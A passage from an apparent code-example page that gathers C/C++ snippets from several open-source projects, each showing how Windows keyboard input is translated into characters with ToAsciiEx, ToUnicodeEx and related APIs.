             ev. gen . P. x = ( short) LOWORD( mp2);
             ev. gen . P. y = sz. y - ( short) HIWORD( mp2) - sys yOverride;
             if ( is_apt( aptTransparent))
                InvalidateRect( win, nil, false);
          }
      }
      break;
   case WM_NCHITTEST:
      if ( guts. focSysDialog) return HTERROR;
      // dlg protect code - protecting from user actions
      if ( !guts. focSysDisabled && ( Application_map_focus( application, self) != self))
         return HTERROR;
      break;
   case WM_PAINT:
   	ev. cmd = cmPaint;
      if (
           ( sys className == WC_CUSTOM) &&
           ( var stage == csNormal) &&
           ( list_index_of( &guts. transp, self) >= 0)
         )
         return 0;
      break;
   case WM_QUERYNEWPALETTE:
      return palette_change( self);
   case WM_PALETTECHANGED:
      if (( HWND) mp1 != win) {
         Handle mp = hwnd_to_view(( HWND) mp1);
         if ( mp && ( hwnd_top_level( mp) == hwnd_top_level( self)))
            return 0;
         palette_change( self);
      }
      break;
   case WM_POSTAL:
      ev. cmd    = cmPost;
      ev. gen. H = ( Handle) mp1;
      ev. gen. p = ( void *) mp2;
      break;
   case WM_PRIMA_CREATE:
      ev. cmd = cmSetup;
      break;
   case WM_SETFOCUS:
      if ( guts. focSysDialog) return 1;
      // dlg protect code - general case
      if ( !guts. focSysDisabled && !guts. focSysGranted) {
         Handle hf = Application_map_focus( application, self);
         if ( hf != self) {
            PostMessage( win, WM_FORCEFOCUS, 0, ( LPARAM) hf);
            return 1;
         }
      }
      if (( HWND) mp1 != win) {
         ev. cmd = cmReceiveFocus;
         hiStage = true;
         apt_assign( aptFocused, 1);
         cursor_update( self);
      }
      break;
   case WM_SETVISIBLE:
     if ( list_index_of( &guts. transp, self) < 0) {
        if ( v-> stage <= csNormal) ev. cmd = mp1 ? cmShow : cmHide;
        hiStage = true;
        apt_assign( aptVisible, mp1);
     }
     break;
   case WM_SIZE:
      ev. cmd = cmSize;
      ev. gen. R. left   = sys lastSize. x;
      ev. gen. R. bottom = sys lastSize. y;
      sys lastSize. x    = ev. gen. R. right  = ev. gen . P. x = ( short) LOWORD( mp2);
      sys lastSize. y    = ev. gen. R. top    = ev. gen . P. y = ( short) HIWORD( mp2);
      if ( ev. gen. R. top != ev. gen. R. bottom) {
         int delta = ev. gen. R. top - ev. gen. R. bottom;
         Widget_first_that( self, move_back, &delta);
         if ( is_apt( aptFocused)) cursor_update(( Handle) self);
      }
      if ( sys sizeLockLevel == 0 && var stage <= csNormal)
         var virtualSize = sys lastSize;
      break;
   case WM_TIMER:
      {
         int id = mp1 - 1;
         if ( id >= 0 && id < sys timeDefsCount) ev. gen. H = ( Handle) sys timeDefs[ id]. item;
         if ( ev. gen. H) {
             v = ( PWidget)( self = ev. gen. H);
             ev. cmd = cmTimer;
         }
      }
      break;
   case WM_WINDOWPOSCHANGING:
      {
         LPWINDOWPOS l = ( LPWINDOWPOS) mp2;
         if ( sys className == WC_CUSTOM) {
            if (( l-> flags & SWP_NOSIZE) == 0) {
               ev. cmd = cmCalcBounds;
               ev. gen. R. right = l-> cx;
               ev. gen. R. top   = l-> cy;
            }
         }
         if (( l-> flags & SWP_NOZORDER) == 0)
            zorder_sync( self, win, l);
      }
      break;
   case WM_WINDOWPOSCHANGED:
      {
          LPWINDOWPOS l = ( LPWINDOWPOS) mp2;
          if (( l-> flags & SWP_NOZORDER) == 0)
             PostMessage( win, WM_ZORDERSYNC, 0, 0);
          if (( l-> flags & SWP_NOSIZE) == 0) {
             sys yOverride = l-> cy;
             SendMessage( win, WM_SYNCMOVE, 0, 0);
          }
          if ( l-> flags & SWP_HIDEWINDOW) SendMessage( win, WM_SETVISIBLE, 0, 0);
          if ( l-> flags & SWP_SHOWWINDOW) SendMessage( win, WM_SETVISIBLE, 1, 0);
      }
      break;
   case WM_ZORDERSYNC:
      ev. cmd = cmZOrderChanged;
      break;
   }
Beispiel #15
0
static void
update_keymap (void)
{
  static guint current_serial = 0;
  guchar key_state[256];
  guint scancode;
  guint vk;
  gboolean capslock_tested = FALSE;

  if (keysym_tab != NULL && current_serial == _gdk_keymap_serial)
    return;

  current_serial = _gdk_keymap_serial;

  if (keysym_tab == NULL)
    keysym_tab = g_new (guint, 4*256);

  memset (key_state, 0, sizeof (key_state));

  _gdk_keyboard_has_altgr = FALSE;
  gdk_shift_modifiers = GDK_SHIFT_MASK;

  for (vk = 0; vk < 256; vk++)
    {
      if ((scancode = MapVirtualKey (vk, 0)) == 0 &&
	  vk != VK_DIVIDE)
	keysym_tab[vk*4+0] =
	  keysym_tab[vk*4+1] =
	  keysym_tab[vk*4+2] =
	  keysym_tab[vk*4+3] = GDK_VoidSymbol;
      else
	{
	  gint shift;

	  if (vk == VK_RSHIFT)
	    _scancode_rshift = scancode;

	  key_state[vk] = 0x80;
	  for (shift = 0; shift < 4; shift++)
	    {
	      guint *ksymp = keysym_tab + vk*4 + shift;
	      
	      set_shift_vks (key_state, shift);

	      *ksymp = 0;

	      /* First, handle those virtual keys that we always want
	       * as special GDK_* keysyms, even if ToAsciiEx might
	       * turn some them into a ASCII character (like TAB and
	       * ESC).
	       */
	      handle_special (vk, ksymp, shift);

	      if (*ksymp == 0)
		{
		  wchar_t wcs[10];
		  gint k;

		  wcs[0] = wcs[1] = 0;
		  k = ToUnicodeEx (vk, scancode, key_state,
				   wcs, G_N_ELEMENTS (wcs),
				   0, _gdk_input_locale);
#if 0
		  g_print ("ToUnicodeEx(%#02x, %d: %d): %d, %04x %04x\n",
			   vk, scancode, shift, k,
			   wcs[0], wcs[1]);
#endif
		  if (k == 1)
		    *ksymp = gdk_unicode_to_keyval (wcs[0]);
		  else if (k == -1)
		    {
		      guint keysym = gdk_unicode_to_keyval (wcs[0]);

		      /* It is a dead key, and it's has been stored in
		       * the keyboard layout's state by
		       * ToAsciiEx()/ToUnicodeEx(). Yes, this is an
		       * incredibly silly API! Make the keyboard
		       * layout forget it by calling
		       * ToAsciiEx()/ToUnicodeEx() once more, with the
		       * virtual key code and scancode for the
		       * spacebar, without shift or AltGr. Otherwise
		       * the next call to ToAsciiEx() with a different
		       * key would try to combine with the dead key.
		       */
		      reset_after_dead (key_state);

		      /* Use dead keysyms instead of "undead" ones */
		      handle_dead (keysym, ksymp);
		    }
		  else if (k == 0)
		    {
		      /* Seems to be necessary to "reset" the keyboard layout
		       * in this case, too. Otherwise problems on NT4.
		       */
		      reset_after_dead (key_state);
		    }
		  else
		    {
#if 0
		      GDK_NOTE (EVENTS,
				g_print ("ToUnicodeEx returns %d "
					 "for vk:%02x, sc:%02x%s%s\n",
					 k, vk, scancode,
					 (shift&0x1 ? " shift" : ""),
					 (shift&0x2 ? " altgr" : "")));
#endif
		    }
		}
	      if (*ksymp == 0)
		*ksymp = GDK_VoidSymbol;
	    }
	  key_state[vk] = 0;

	  /* Check if keyboard has an AltGr key by checking if
	   * the mapping with Control+Alt is different.
	   */
	  if (!_gdk_keyboard_has_altgr)
	    if ((keysym_tab[vk*4 + 2] != GDK_VoidSymbol &&
		 keysym_tab[vk*4] != keysym_tab[vk*4 + 2]) ||
		(keysym_tab[vk*4 + 3] != GDK_VoidSymbol &&
		 keysym_tab[vk*4 + 1] != keysym_tab[vk*4 + 3]))
	      _gdk_keyboard_has_altgr = TRUE;
	  
	  if (!capslock_tested)
	    {
	      /* Can we use this virtual key to determine the CapsLock
	       * key behaviour: CapsLock or ShiftLock? If it generates
	       * keysyms for printable characters and has a shifted
	       * keysym that isn't just the upperacase of the
	       * unshifted keysym, check the behaviour of VK_CAPITAL.
	       */
	      if (g_unichar_isgraph (gdk_keyval_to_unicode (keysym_tab[vk*4 + 0])) &&
		  keysym_tab[vk*4 + 1] != keysym_tab[vk*4 + 0] &&
		  g_unichar_isgraph (gdk_keyval_to_unicode (keysym_tab[vk*4 + 1])) &&
		  keysym_tab[vk*4 + 1] != gdk_keyval_to_upper (keysym_tab[vk*4 + 0]))
		{
		  guchar chars[2];
		  
		  capslock_tested = TRUE;
		  
		  key_state[VK_SHIFT] = 0;
		  key_state[VK_CONTROL] = key_state[VK_MENU] = 0;
		  key_state[VK_CAPITAL] = 1;

		  if (ToAsciiEx (vk, scancode, key_state,
				 (LPWORD) chars, 0, _gdk_input_locale) == 1)
		    {
		      if (chars[0] >= GDK_space &&
			  chars[0] <= GDK_asciitilde &&
			  chars[0] == keysym_tab[vk*4 + 1])
			{
			  /* CapsLock acts as ShiftLock */
			  gdk_shift_modifiers |= GDK_LOCK_MASK;
			}
		    }
		  key_state[VK_CAPITAL] = 0;
		}    
	    }
	}
    }
  GDK_NOTE (EVENTS, print_keysym_tab ());
} 
Beispiel #16
0
static void process_keyboard_input(LPRAWINPUT raw_input)
{
    //LPRAWKEYBOARD raw_keyboard = &(raw_input->data.keyboard);
    //int vkey = raw_keyboard->VKey;
    //int vkey = raw_keyboard->VKey;
    //int flags = raw_keyboard->Flags; //
    int vkey = raw_input->data.keyboard.VKey;
    int flags = raw_input->data.keyboard.Flags;
    int make_code = raw_input->data.keyboard.MakeCode;
    if (g_fs_log_input) {
        fs_log("vkey...: %d (0x%x) make %d extra %d flags %d E0 %d E1 %d\n",
                vkey, vkey, raw_input->data.keyboard.MakeCode,
                raw_input->data.keyboard.ExtraInformation, flags,
                (flags & RI_KEY_E0) != 0, (flags & RI_KEY_E1) != 0);
    }
#ifdef USE_MAKECODES
    vkey = make_code;
    if (flags & RI_KEY_E0) {
        vkey += NUM_VKEYS;
    }
    else if (flags & RI_KEY_E1) {
        vkey += 2 * NUM_VKEYS;
    }
#else
    /* Special cases */
    if (make_code == 54) {
        /* For some reason, flags is not set properly for right shift */
        vkey = VK_SHIFT + E0;
    }
    else if (flags & RI_KEY_E0) {
        vkey += NUM_VKEYS;
    }
    else if (flags & RI_KEY_E1) {
        vkey += 2 * NUM_VKEYS;
    }
#endif

    int update_mod = 0;

    int state = ((flags & RI_KEY_BREAK) == 0);
    switch (vkey) {
    case 42:
        g_mod_lshift = state;
        //mod_shift = g_mod_lshift || g_mod_rshift;
        update_mod = 1;
        break;
    case 54:
        g_mod_rshift = state;
        //mod_shift = g_mod_lshift || g_mod_rshift;
        update_mod = 1;
        break;
    case 29:
        g_mod_lctrl = state;
        //mod_ctrl = g_mod_lctrl || g_mod_rctrl;
        update_mod = 1;
        break;
    case E0 + 29:
        g_mod_rctrl = state;
        //mod_ctrl = g_mod_lctrl || g_mod_rctrl;
        update_mod = 1;
        break;
    case 56:
        g_mod_lalt = state;
        //mod_alt = g_mod_lalt || g_mod_ralt;
        update_mod = 1;
        break;
    case E0 + 56:
        g_mod_ralt = state;
        update_mod = 1;
        break;
    case 87:
        g_mod_f11 = state;
        update_mod = 1;
        break;
    case 88:
        g_mod_f12 = state;
        update_mod = 1;
        break;
    }

    static unsigned char keyboard_state[256] = {};
    //GetKeyboardState(keyboard_state);

    if (update_mod) {
        if (g_mod_lshift || g_mod_rshift) {
            g_mod = g_mod | KMOD_SHIFT;
            keyboard_state[VK_SHIFT] = 0x80;
        }
        else {
            g_mod = g_mod & ~KMOD_SHIFT;
            keyboard_state[VK_SHIFT] = 0x0;
        }
        if (g_mod_lctrl || g_mod_rctrl) {
            g_mod = g_mod | KMOD_CTRL;
            keyboard_state[VK_CONTROL] = 0x80;
        }
        else {
            g_mod = g_mod & ~KMOD_CTRL;
            keyboard_state[VK_CONTROL] = 0x0;
        }
        if (g_mod_lalt || g_mod_ralt) {
            g_mod = g_mod | KMOD_ALT;
            keyboard_state[VK_MENU] = 0x80;
        }
        else {
            g_mod = g_mod & ~KMOD_ALT;
            keyboard_state[VK_MENU] = 0x0;
        }
        if (g_mod_f11) {
            g_mod = g_mod | FS_ML_KEY_MOD_F11;
        }
        else {
            g_mod = g_mod & ~FS_ML_KEY_MOD_F11;
        }
        if (g_mod_f12) {
            g_mod = g_mod | FS_ML_KEY_MOD_F12;
        }
        else {
            g_mod = g_mod & ~FS_ML_KEY_MOD_F12;
        }
    }

    int key_code = g_key_mapping[vkey];
    WORD character = 0;
    if (!g_is_modifier_key[key_code]) {
        ToAsciiEx(raw_input->data.keyboard.VKey,
                raw_input->data.keyboard.MakeCode, keyboard_state,
                &character, 0, g_keyboard_layout);
        //printf("%d %d => %d\n", raw_input->data.keyboard.VKey,
        //        raw_input->data.keyboard.MakeCode, character);
        if (character > 128) {
            character = 0;
        }
        if (state == 1) {
            fs_ml_event *event = fs_ml_alloc_event();
            event->type = FS_ML_TEXTINPUT;
            event->text.text[0] = character;
            event->text.text[1] = '\0';
            fs_ml_post_event(event);
        }
    }

    if (state == 0) {
        // key is up
        if (vkey <= MAX_VKEY && g_key_state[vkey]) {
            g_key_state[vkey] = 0;
            fs_ml_event *event = fs_ml_alloc_event();
            event->type = FS_ML_KEYUP;
            event->key.keysym.sym = key_code;

            event->key.keysym.mod = g_mod;
            //event->key.keysym.unicode = character;
            event->key.state = 0;
            fs_ml_post_event(event);
        }
    }
    else {
        // key is down
        if (vkey <= MAX_VKEY && !g_key_state[vkey]) {
            //fs_log("down\n");
            g_key_state[vkey] = 1;
            fs_ml_event *event = fs_ml_alloc_event();
            event->type = FS_ML_KEYDOWN;
            event->key.keysym.sym = key_code;

            event->key.keysym.mod = g_mod;
            //event->key.keysym.unicode = character;
            event->key.state = 1;
            //fs_log("code: %d\n", event->key.code);
            fs_ml_post_event(event);
        }
    }
}
Beispiel #17
0
tCHAR F_API INPKBGetAscii(u8 kCode)
{ 
	
	tCHAR retvalue = L'';
	char asciichar[256];

	memset(asciichar,0, sizeof(char)*256);

	HKL layout = GetKeyboardLayout(0);
	u8 State[256];
	u32  scancode;
	memset(State, 0, sizeof (u8) * 256);
	u32 vk = MapVirtualKeyEx(kCode,1,layout);
	bool returnvaluegetkeyb = GetKeyboardState(State);  //This function returns crap if we are in exclusive mode

	//CODE TO CHECK OS VERSION,
	//ToUnicodeEx doesn't work in win98,me
   

	OSVERSIONINFO osvi;
	ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	GetVersionEx((OSVERSIONINFO*)&osvi); //Should move this function to initialization

   //VER_PLATFORM_WIN32_NT //WinNT4 to Win2003
   //VER_PLATFORM_WIN32_WINDOWS //Windows 95, Windows 98, or Windows Me.
   if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) //Crappy Versions of Windows Without Unicode
   {
	   int returnvalascii = ToAsciiEx(vk, kCode, State, (unsigned short *)asciichar, 0, layout);
		if(returnvalascii > 0)
		{
			int retrunvaluembtowcs = mbstowcs(&retvalue, asciichar, 1);
			if(retrunvaluembtowcs == -1) //some error
				retvalue = L'';
		}
		else
			retvalue = L'';
   }
   else //Good versions of widnows with Unicode
   {
	   s32 retvalunicode = ToUnicodeEx(vk, kCode, State, &retvalue, 1, 0, layout);
	   if(retvalunicode <= 0) // -1 or 0 mean error or no character was translated
		   retvalue = L'';
   }


/*
   HKL layout = GetKeyboardLayout(0);
   unsigned char State[256];
   if (GetKeyboardState(State)==FALSE)
      return 0;
   unsigned int vk = MapVirtualKeyEx(scancode,1,layout);
   return ToAsciiEx(vk,scancode,State,(unsigned short *)result,0,layout);
*/
/*
BOOL bIsWindowsVersionOK(DWORD dwMajor, DWORD dwMinor, DWORD dwSPMajor )
{
OSVERSIONINFO osvi;
 
// Initialize the OSVERSIONINFO structure.
//
ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx((OSVERSIONINFO*)&osvi);
 
// First the major version
if ( osvi.dwMajorVersion > dwMajor )
   return TRUE;
else if ( osvi.dwMajorVersion == dwMajor )
   {
   // Then the minor
   if (osvi.dwMinorVersion > dwMinor )
      return TRUE;
   else if (osvi.dwMinorVersion == dwMinor )
      {
      // OK, better check the Service Pack
      if ( dwSPMajor && 
        osvi.dwPlatformId == VER_PLATFORM_WIN32_NT )
         {
         HKEY   hKey;
         DWORD dwCSDVersion;
          DWORD dwSize;
         BOOL   fMeetsSPRequirement = FALSE;
 
         if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
            System\\CurrentControlSet\\Control\\Windows",
0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS)
            {
            dwSize = sizeof(dwCSDVersion);
            if (RegQueryValueEx(hKey, "CSDVersion",
               NULL, NULL,
(unsigned char*)&dwCSDVersion, 
&dwSize) == ERROR_SUCCESS)
               {
               fMeetsSPRequirement = 
(LOWORD(dwCSDVersion) >= dwSPMajor);
               }
           RegCloseKey(hKey);
           }
         return fMeetsSPRequirement;
         }
      return TRUE;
      }
   }
return FALSE;
}

*/

   return retvalue;
}
Beispiel #18
0
/*

	Processes WM_KEYDOWN messages related to special keys

*/
bool ev_Win32Keyboard::onKeyDown(AV_View * pView,
                                 HWND /*hWnd*/, UINT /*iMsg*/, WPARAM nVirtKey, LPARAM keyData)
{

    m_bWasAnAbiCommand = false;

    EV_EditMethod * pEM;

    EV_EditModifierState ems = _getModifierState();
    EV_EditBits nvk;

    int						charLen;
    UT_UCSChar				charData[2];

    UT_DEBUGMSG(("WIN32KEY_DEBUG->onKeyDown %x, %x\n", nVirtKey, keyData));

    // ALT key for windows {menus, ... }, ALT+XXX for special chars, etc
    if (((ems & EV_EMS_ALT) != 0) && ((ems & EV_EMS_CONTROL) == 0))
    {
#ifdef  _WIN32KEY_DEBUG
        UT_DEBUGMSG(("WIN32KEY_DEBUG->onKeyDown return true (EV_EMS_CONTROL)\n"));
#endif
        return true;
    }

    /*
    	This is a Alt+gr combination in an international keyboard
    */
    if (GetKeyState(VK_RMENU) & 0x8000)
    {
#ifdef  _WIN32KEY_DEBUG
        UT_DEBUGMSG(("WIN32KEY_DEBUG->Alt+gr (EV_EMS_CONTROL)\n"));
#endif
        return true;
    }

    // Get abiword keyid
    nvk = s_mapVirtualKeyCodeToNVK(nVirtKey);

    // If it is not a special key or a CTRL combination, there is nothing to do
    if (nvk == EV_NVK__IGNORE__ || (nvk == 0  && ((ems & EV_EMS_CONTROL) == 0)))
    {
#ifdef  _WIN32KEY_DEBUG
        UT_DEBUGMSG(("WIN32KEY_DEBUG->onKeyDown return true (IGNORE)\n"));
#endif
        return true;
    }

    if (nvk != 0)
    {   // Special key
        charLen = 0;
        charData[0] = nvk;
    }
    else
    {   // Non-special key with CTRL

#if 0
        // this causes bug 9618
        WCHAR	char_value[2];
        BYTE	keyboardState[256];

        ::GetKeyboardState(keyboardState);

        // Here we pretend the CTRL key is not pressed, otherwise windows will try and convert it
        // into a control code, this is not what we want
        keyboardState[VK_CONTROL] &= 0x7F;		// mask off high bit

        if (ToAsciiEx(nVirtKey, keyData & 0x00FF0000, keyboardState, (unsigned short*) &char_value[0], 0,
                      m_hKeyboardLayout)==0)
            return true;
        charLen		= 1;
        charData[0]	= UT_UCSChar(char_value [0] & 0x000000FF);
        charData[1]	= 0;
#else
        charLen = 1;
        charData[0] = (UT_UCS4Char)MapVirtualKeyEx(nVirtKey, 2, m_hKeyboardLayout);

        if(!charData[0]) // no mapping
            return true;

        charData[1]	= 0;

        if((ems & EV_EMS_SHIFT) == 0)
        {
            // shift not pressed; MapVirtualKeyEx() always returns capital letter, so we
            // have to lowercase it
            charData[0] = UT_UCS4_tolower(charData[0]);
        }

#endif
    }


    switch (m_pEEM->Keystroke(EV_EKP_PRESS | ems | charData[0], &pEM)) //#define EV_EKP_PRESS			((EV_EditKeyPress)		0x00800000)
    {

    case EV_EEMR_BOGUS_START:
    case EV_EEMR_BOGUS_CONT:
    case EV_EEMR_INCOMPLETE:		// a non-terminal node in state machine
        return false;

    case EV_EEMR_COMPLETE:			// a terminal node in state machine
        UT_ASSERT(pEM);
        invokeKeyboardMethod(pView, pEM, charData, charLen);
        m_bWasAnAbiCommand = true;
        return true;

    default:
        UT_ASSERT(0);
        return false;
    }

    return 	true;
}
Beispiel #19
0
/***************************************************************************\
* ImmTranslateMessage (Called from user\client\ntstubs.c\TranslateMessage())
*
* Call ImeToAsciiEx()
*
* History:
* 01-Mar-1996 TakaoK       Created
\***************************************************************************/
BOOL ImmTranslateMessage(
    HWND        hwnd,
    UINT        message,
    WPARAM      wParam,
    LPARAM      lParam)
{
    HIMC hImc;
    PINPUTCONTEXT pInputContext;
    BOOL fReturn = FALSE;
    HKL  hkl;
    PIMEDPI pImeDpi = NULL;
    PBYTE pbKeyState;
    PTRANSMSG pTransMsg;
    PTRANSMSGLIST pTransMsgList;
    DWORD dwSize;
    UINT uVKey;
    INT iNum;

    UNREFERENCED_PARAMETER(wParam);

    //
    // we're interested in only those keyboard messages.
    //
    switch (message) {
    case WM_KEYDOWN:
    case WM_KEYUP:
    case WM_SYSKEYDOWN:
    case WM_SYSKEYUP:
        break;
    default:
        return FALSE;
    }

    //
    // input context is necessary for further handling
    //
    hImc = ImmGetContext(hwnd);
    pInputContext = ImmLockIMC(hImc);
    if (pInputContext == NULL) {
        ImmReleaseContext(hwnd, hImc);
        return FALSE;
    }

    //
    // At first, handle VK_PROCESSKEY generated by IME.
    //
    if (!pInputContext->fChgMsg) {

        if ((iNum=pInputContext->dwNumMsgBuf) != 0) {

            pTransMsg = (PTRANSMSG)ImmLockIMCC(pInputContext->hMsgBuf);
            if (pTransMsg != NULL) {
                ImmPostMessages(hwnd, hImc, iNum, pTransMsg);
                ImmUnlockIMCC(pInputContext->hMsgBuf);
                fReturn = TRUE;
            }

            pInputContext->dwNumMsgBuf = 0;
        }
        goto ExitITM;
    }

    pInputContext->fChgMsg = FALSE;

    //
    // retrieve the keyboard layout and IME entry points
    //
    hkl = GetKeyboardLayout( GetWindowThreadProcessId(hwnd, NULL) );
    pImeDpi = ImmLockImeDpi(hkl);
    if (pImeDpi == NULL) {
        RIPMSG1(RIP_WARNING, "ImmTranslateMessage pImeDpi is NULL(hkl=%x)", hkl);
        goto ExitITM;
    }

    pbKeyState = ImmLocalAlloc(0, 256);
    if ( pbKeyState == NULL ) {
        RIPMSG0(RIP_WARNING, "ImmTranslateMessage out of memory" );
        goto ExitITM;
    }

    if (!GetKeyboardState(pbKeyState)) {
        RIPMSG0(RIP_WARNING, "ImmTranslateMessage GetKeyboardState() failed" );
        ImmLocalFree( pbKeyState );
        goto ExitITM;
    }

    //
    // Translate the saved vkey into character code if needed
    //
    uVKey = pInputContext->uSavedVKey;

    if (pImeDpi->ImeInfo.fdwProperty & IME_PROP_KBD_CHAR_FIRST) {

        if (pImeDpi->ImeInfo.fdwProperty & IME_PROP_UNICODE) {
            WCHAR wcTemp;

            iNum = ToUnicode(pInputContext->uSavedVKey, // virtual-key code
                             HIWORD(lParam),            // scan code
                             pbKeyState,                // key-state array
                             &wcTemp,                   // buffer for translated key
                             1,                         // size of buffer
                             0);
            if (iNum == 1) {
                //
                // hi word            : unicode character code
                // hi byte of lo word : zero
                // lo byte of lo word : virtual key
                //
                uVKey = (uVKey & 0x00ff) | ((UINT)wcTemp << 16);
            }

        } else {
            WORD wTemp = 0;

            iNum = ToAsciiEx(pInputContext->uSavedVKey, // virtual-key code
                             HIWORD(lParam),            // scan code
                             pbKeyState,                // key-state array
                             &wTemp,                    // buffer for translated key
                             0,                         // active-menu flag
                             hkl);
            ImmAssert(iNum <= 2);
            if (iNum > 0) {
                //
                // hi word            : should be zero
                // hi byte of lo word : character code
                // lo byte of lo word : virtual key
                //
                uVKey = (uVKey & 0x00FF) | ((UINT)wTemp << 8);

                if ((BYTE)uVKey == VK_PACKET) {
                    //
                    // If ANSI IME is wide vkey aware, its ImeToAsciiEx will receive the uVKey
                    // as follows:
                    //
                    //  31            24 23                         16 15                8 7             0
                    // +----------------+-----------------------------+-------------------+---------------+
                    // | 24~31:reserved | 16~23:trailing byte(if any) | 8~15:leading byte | 0~7:VK_PACKET |
                    // +----------------+-----------------------------+-------------------+---------------+
                    //
                    ImmAssert(pImeDpi->ImeInfo.fdwProperty & IME_PROP_ACCEPT_WIDE_VKEY);
                }
                else {
                    uVKey &= 0xffff;
                }
            }
        }
    }

    dwSize = FIELD_OFFSET(TRANSMSGLIST, TransMsg)
           + TRANSMSGCOUNT * sizeof(TRANSMSG);

    pTransMsgList = (PTRANSMSGLIST)ImmLocalAlloc(0, dwSize);

    if (pTransMsgList == NULL) {
        RIPMSG0(RIP_WARNING, "ImmTranslateMessage out of memory" );
        ImmLocalFree(pbKeyState);
        goto ExitITM;
    }

    pTransMsgList->uMsgCount = TRANSMSGCOUNT;
    iNum = (*pImeDpi->pfn.ImeToAsciiEx)(uVKey,
                                        HIWORD(lParam),
                                        pbKeyState,
                                        pTransMsgList,
                                        0,
                                        hImc);

    if (iNum > TRANSMSGCOUNT) {

        //
        // The message buffer is not big enough. IME put messages
        // into hMsgBuf in the input context.
        //

        pTransMsg = (PTRANSMSG)ImmLockIMCC(pInputContext->hMsgBuf);
        if (pTransMsg != NULL) {
            ImmPostMessages(hwnd, hImc, iNum, pTransMsg);
            ImmUnlockIMCC(pInputContext->hMsgBuf);
        }

#ifdef LATER
        // Shouldn't we need this ?
        fReturn = TRUE;
#endif

    } else if (iNum > 0) {
        ImmPostMessages(hwnd, hImc, iNum, &pTransMsgList->TransMsg[0]);
        fReturn = TRUE;
    }

    ImmLocalFree(pbKeyState);
    ImmLocalFree(pTransMsgList);

ExitITM:
    ImmUnlockImeDpi(pImeDpi);
    ImmUnlockIMC(hImc);
    ImmReleaseContext(hwnd, hImc);

    return fReturn;
}
Beispiel #20
0
			{
				event.KeyInput.Key = (irr::EKEY_CODE)MapVirtualKey( ((lParam>>16) & 255), MY_MAPVK_VSC_TO_VK_EX );
				if (lParam & 0x1000000)
					event.KeyInput.Key = irr::KEY_RMENU;
			}

			GetKeyboardState(allKeys);

			event.KeyInput.Shift = ((allKeys[VK_SHIFT] & 0x80)!=0);
			event.KeyInput.Control = ((allKeys[VK_CONTROL] & 0x80)!=0);

			// Handle unicode and deadkeys in a way that works since Windows 95 and nt4.0
			// Using ToUnicode instead would be shorter, but would to my knowledge not run on 95 and 98.
			WORD keyChars[2];
			UINT scanCode = HIWORD(lParam);
			int conversionResult = ToAsciiEx(wParam,scanCode,allKeys,keyChars,0,KEYBOARD_INPUT_HKL);
			if (conversionResult == 1)
			{
				WORD unicodeChar;
				MultiByteToWideChar(
						KEYBOARD_INPUT_CODEPAGE,
						MB_PRECOMPOSED, // default
						(LPCSTR)keyChars,
						sizeof(keyChars),
						(WCHAR*)&unicodeChar,
						1 );
				event.KeyInput.Char = unicodeChar; 
			}
			else
				event.KeyInput.Char = 0;
Beispiel #21
0
/**
*@brief キーコード(CEGUI::Key)を文字(CEGUI::utf32)に変換
CEGUI公式サイト(http://cegui.org.uk/wiki/DirectInput_to_CEGUI_utf32)のコードを一部変更(MITライセンス)
* @param scanCode キーコード
* @return 文字
*/
CEGUI::utf32 keycodeToUTF32( unsigned int scanCode)
 {

 	CEGUI::utf32 utf = 0;

#ifdef _WIN32
 	BYTE keyboardState[256];
 	unsigned char ucBuffer[3];
 	static WCHAR deadKey = '\0';
 
 	
 	HKL hklKeyboardLayout = GetKeyboardLayout(0);
 	
 	if (GetKeyboardState(keyboardState) == FALSE)
 		return utf;
 
 	
 	UINT virtualKey = MapVirtualKeyEx(scanCode, 3, hklKeyboardLayout);
 	if (virtualKey == 0)
 		return utf;
 

 	int ascii = ToAsciiEx(virtualKey, scanCode, keyboardState, (LPWORD) ucBuffer, 0, hklKeyboardLayout);
 	if(deadKey != '\0' && ascii == 1)
 	{
 		
 		WCHAR wcBuffer[3];
 		WCHAR out[3];
 		wcBuffer[0] = ucBuffer[0];
 		wcBuffer[1] = deadKey;
 		wcBuffer[2] = '\0';
 		if( FoldStringW(MAP_PRECOMPOSED, (LPWSTR) wcBuffer, 3, (LPWSTR) out, 3) )
 			utf = out[0];
 		else
 		{
 			
 			DWORD dw = GetLastError();
 			switch(dw)
 			{
 			case ERROR_INSUFFICIENT_BUFFER:
 			case ERROR_INVALID_FLAGS:
 			case ERROR_INVALID_PARAMETER:
 				break;
 			}
 		}
 		deadKey = '\0';
 	}
 	else if (ascii == 1)
 	{
 		
 		utf = ucBuffer[0];
 		deadKey = '\0';
 	}
 	else
 	{
 		
 		switch(ucBuffer[0])
 		{
 		case 0x5E:
 			deadKey = 0x302;
 			break;
 		case 0x60:
 			deadKey = 0x300;
 			break;
 		case 0xA8:
 			deadKey = 0x308;
 			break;
 		case 0xB4:
 			deadKey = 0x301;
 			break;
 		case 0xB8:
 			deadKey = 0x327;
 			break;
 		default:
 			deadKey = ucBuffer[0];
 		}
 	}
#else
#endif
 	return utf;
 }
Beispiel #22
0
/****************************************************************************
 *		ToAscii (USER32.@)
 */
INT WINAPI ToAscii( UINT virtKey, UINT scanCode, const BYTE *lpKeyState,
                    LPWORD lpChar, UINT flags )
{
    return ToAsciiEx(virtKey, scanCode, lpKeyState, lpChar, flags, GetKeyboardLayout(0));
}
Beispiel #23
0
//-------------------------------------------------
LRESULT CALLBACK MyKeyHook(int code, WPARAM wParam, LPARAM lParam)
{
	int keyType;
	unsigned short charBuf;

	if (!pShMem->Initialized) return 0;
	if (code < 0) 
		return CallNextHookEx(pShMem->keyHook,code,wParam,lParam);

	// determine if current window is a console, if so returns
	TCHAR className[128];
	className[0] = 0;
	GetClassName(GetForegroundWindow(), className, 128);
	if (_tcscmp(className, _T("ConsoleWindowClass")) == 0)
		return CallNextHookEx(pShMem->keyHook,code,wParam,lParam);
	
	GetKeyboardState(KeyState);
	HKL curLayout = GetKeyboardLayout(0);

	if (curLayout != OriginalLayout && curLayout != ViKeyboardLayout)
		OriginalLayout = curLayout;

	if (CheckSwitchKey(wParam,lParam) || CheckShortcuts(wParam, lParam))
		return 1;
	
	if ((pShMem->vietKey || (pShMem->options.macroEnabled && pShMem->options.alwaysMacro)) && 
		code == HC_ACTION && !ClipboardIsEmpty) {

